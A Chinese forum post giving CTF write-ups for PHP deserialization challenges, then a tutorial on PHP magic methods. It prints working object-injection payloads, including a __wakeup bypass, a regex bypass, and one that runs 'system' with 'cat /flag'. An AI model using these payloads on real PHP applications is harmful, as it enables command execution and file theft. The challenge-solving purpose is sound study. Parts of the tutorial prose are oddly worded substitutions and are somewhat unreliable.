PHP反序列化

打印 上一主题 下一主题

主题 690|帖子 690|积分 2070

攻防天下

unserialize3

打开本题,可看到一下代码:
  1. class xctf{
  2. public $flag = '111';
  3. public function __wakeup(){
  4. exit('bad requests');
  5. }
  6. ?code=
复制代码
根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。
让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Web_php_unserialize

打开题目,得到以下代码:
  1. <?php
  2. class Demo {
  3.    private $file = 'index.php';
  4.    public function __construct($file) {
  5.        $this->file = $file;
  6.    }
  7.    function __destruct() {
  8.        echo @highlight_file($this->file, true);
  9.    }
  10.    function __wakeup() {
  11.        if ($this->file != 'index.php') {
  12.            //the secret is in the fl4g.php
  13.            $this->file = 'index.php';
  14.        }
  15.    }
  16. }
  17. if (isset($_GET['var'])) {
  18.    $var = base64_decode($_GET['var']);
  19.    if (preg_match('/[oc]:\d+:/i', $var)) {
  20.        die('stop hacking!');
  21.    } else {
  22.        @unserialize($var);
  23.    }
  24. } else {
  25.    highlight_file("index.php");
  26. }
  27. ?>
复制代码
根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。
输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
NSSCTF

1z_unserialize

打开题目,得到以下代码:
  1. <?php
  2. class lyh{
  3.    public $url = 'NSSCTF.com';
  4.    public $lt;
  5.    public $lly;
  6.    
  7.     function  __destruct()
  8.     {
  9.        $a = $this->lt;
  10.        $a($this->lly);
  11.     }
  12.    
  13.    
  14. }
  15. unserialize($_POST['nss']);
  16. highlight_file(__FILE__);
  17. ?>
复制代码
根据代码,构造it与lly的值即可,注意本题为POST传参。
  1. 输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
  2. nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
复制代码
ez_ez_unserialize

打开题目,得到以下代码:
  1. <?php
  2. class X
  3. {
  4.    public $x = __FILE__;
  5.    function __construct($x)
  6.    {
  7.        $this->x = $x;
  8.    }
  9.    function __wakeup()
  10.    {
  11.        if ($this->x !== __FILE__) {
  12.            $this->x = __FILE__;
  13.        }
  14.    }
  15.    function __destruct()
  16.    {
  17.        highlight_file($this->x);
  18.        //flag is in fllllllag.php
  19.    }
  20. }
  21. if (isset($_REQUEST['x'])) {
  22.    @unserialize($_REQUEST['x']);
  23. } else {
  24.    highlight_file(__FILE__);
  25. }
复制代码
根据代码,需要绕过wakeup函数。
输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_unserialize

这个题需要在题目背面加/robots.txt打开会发现cl45s.php文件。打开文件,可得到以下代码:

需要对p进行传参使其满足$this->admin=="admin"&&$this->passwd=="ctf"。
输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
魔术方法

1、魔术方法简介

界说:一个预定好的,在特定情况下自动触发的行为方法。
作用:魔术方法在特定的条件下自动调用相干方法,终极导致触发代码。
相干机制:触发机遇(必须知道)、功能、参数(部分魔术方法会有传参)、返回值
2、魔术方法

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;
触发机遇:实例化对象时触发。
功能:提前清理不必要内容。
参数:非必要
__destruct()

析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。
触发机遇:对象引用完成或对象被销毁(获取频频对象就触发频频,因为创建对象一定会有销毁过程,实例化后会触发,反序列化后会触发)
无参数
__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化的操作。
触发机遇:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值:需要被序列化的成员属性
__wakeup()

unserialize()会检查是否存在一个__wakeup()魔术方法。
如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。
触发机遇:反序列化unserialize()之前
功能:常用于反序列化操作中重新创建数据库连接或执行其他初始化操作。
__tostring()

触发机遇:把对象当成字符串调用
常用于构造POP链;
__invoke()

触发机遇:把对象当成函数调用
__call()

触发机遇:调用一个不存在的成员方法
参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。
返回值:不存在的成员方法的名称,调用时的参数
__callStatic()

触发机遇:静态调用或调用成员常量时利用的方法不存在
参数:两个参数
返回值:不存在的成员方法的名称,调用时的参数
  1. <?php
  2. class test{
  3.    public function __callStatic($arg1,$arg2){
  4.        echo "$arg1,$arg2[0]";
  5.    }
  6. }
  7. $test=new test();
  8. $test::callxxx('a');//静态调用
  9. ?>
复制代码
__get()

调用机遇:调用的成员属性不存在
参数:一个参数
返回值:不存在的成员属性的名称
__set()

触发机遇:给不存在的成员属性赋值
参数:两个参数
返回值:不存在的成员属性的名称和赋的值
__isset()

触发机遇:对不可访问属性利用isset()或empty()时,__isset()会被调用。
参数:一个参数
返回值:不存在的成员属性的名称
__unset()

触发机遇:对不可访问的属性利用unset()时
参数:一个参数
返回值:不存在的成员属性的名称
__clone()

触发机遇:当利用clone关键词拷贝完成一个对象后,新对象会自动调用有界说的魔术方法__clone()

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

星球的眼睛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表